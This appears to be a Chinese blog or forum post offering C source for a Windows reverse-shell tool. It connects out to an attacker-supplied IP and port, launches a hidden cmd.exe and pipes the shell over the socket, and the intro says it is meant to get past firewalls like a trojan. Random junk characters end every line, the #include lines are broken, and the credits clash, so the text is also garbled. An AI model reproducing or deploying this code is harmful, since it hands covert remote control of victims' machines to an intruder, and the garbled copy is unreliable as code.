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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 la|#SS95  
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/* ============================== OK3B6T5w=  
Rebound port in Windows NT wT*`Od8w  
By wind,2006/7 K# _plpr  
===============================*/ z_A%>E4  
#include YJ rK oK}  
#include 8'`&f &  
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#pragma comment(lib,"wsock32.lib") b cz<t)  
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void OutputShell(); Oo rH  
SOCKET sClient; r8^1JJ~\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7@+0E 2'  
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void main(int argc,char **argv) g6 7*Bs  
{ 'Nfg%)-N  
WSADATA stWsaData; Nm OQ7T  
int nRet; I0Wn?Qq=@  
SOCKADDR_IN stSaiClient,stSaiServer; Haq23K  
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if(argc != 3) ,!sAr;Rk`  
{ R`TM@aaS:  
printf("Useage:\n\rRebound DestIP DestPort\n"); BN#^ /a-  
return; mI0| lp 1$  
} d{ OY  
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WSAStartup(MAKEWORD(2,2),&stWsaData); G=yQYsC$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -pg7>vOq  
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stSaiClient.sin_family = AF_INET; 4fP>;9[F  
stSaiClient.sin_port = htons(0); Fo~C,@/Qt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2<u vz<B  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ':.d,x)  
{ qDcl;{L  
printf("Bind Socket Failed!\n"); *2;w;(-s  
return; ]S;e#u{QE  
} f)"O( c  
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stSaiServer.sin_family = AF_INET; ^+,mxV'8!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #i)h0ML/e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :,GsbNKW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s2w .V O  
{ '|WMt g  
printf("Connect Error!"); $t}L|"=8X  
return; ap;*qiNFQ  
} i$%;z~#wW  
OutputShell(); 63:ZDQ  
} T3M 4r|  
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void OutputShell() XUW~8P  
{ n6|}^O7  
char szBuff[1024]; r}*2~;:pW  
SECURITY_ATTRIBUTES stSecurityAttributes; $R7d*\(G  
OSVERSIONINFO stOsversionInfo; Z)6bqU<LQE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $Fd9iJ!k  
STARTUPINFO stStartupInfo; H Qf[T@  
char *szShell;  kQX,MP(  
PROCESS_INFORMATION stProcessInformation; G=~T)e  
unsigned long lBytesRead; U%w-/!p  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ce+\D'q[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OaU$ [Z'8  
stSecurityAttributes.lpSecurityDescriptor = 0; &?zJ|7rh@|  
stSecurityAttributes.bInheritHandle = TRUE; @iWIgL  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v]_{oj_(-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +=O8t0y n  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kw=+"U   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7cvbYP\<lv  
stStartupInfo.wShowWindow = SW_HIDE; =( Gv_  
stStartupInfo.hStdInput = hReadPipe; `$MO.K{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L$(W* PG}  
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GetVersionEx(&stOsversionInfo); 3R4-MK  
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switch(stOsversionInfo.dwPlatformId) ,`-6!|:  
{ 4(B,aU>y  
case 1: 2psI\7UjA]  
szShell = "command.com"; m$[ \(Z(/  
break; ih1SN,/  
default: =;@5Ue J  
szShell = "cmd.exe"; Y\9uR!0  
break; TS=p8@w}  
} 6Y}#vZ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,F:l?dfB\I  
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send(sClient,szMsg,77,0); |y;+xEl6  
while(1) "d.qmM  
{ ! daXF&q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NGS/lKz  
if(lBytesRead) %)q5hB  
{ b/O~f8t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;Iv)J|*  
send(sClient,szBuff,lBytesRead,0); 7i 6-Hq  
} UyK|KL  
else JrCm >0g  
{ Fz>J7(Y.j  
lBytesRead=recv(sClient,szBuff,1024,0); dc%+f  
if(lBytesRead<=0) break; Is?0q@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6ng . =  
} qIO)Z   
} fE_QB=9 cz  
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return; P8;|>OLZ)  
}
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